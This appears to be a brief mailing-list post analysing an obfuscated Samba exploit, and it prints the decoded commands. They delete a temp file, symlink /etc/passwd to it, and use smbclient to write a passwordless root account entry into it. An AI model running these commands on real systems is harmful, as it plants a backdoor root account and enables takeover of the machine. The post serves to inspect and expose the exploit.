Hey, There is some confusion about the Samba exploit. It is an obfuscated exploit for an old vulnerability in the Samba daemon. Before approving it to the list, I checked it. The system() calls: system(inject1, 0); system(inject2, 0); system(inject3a, 0); Try this: printf("%s\n%s\n%s\n",inject1,inject2,inject3a); output: /bin/rm -rf /tmp/x.log /bin/ln -s /etc/passwd /tmp/x.log /usr/bin/smbclient //localhost/" fd::0:0::/:/bin/sh\n" -n ../../../tmp/x -N I am not sure why they chose to write the exploit this way.
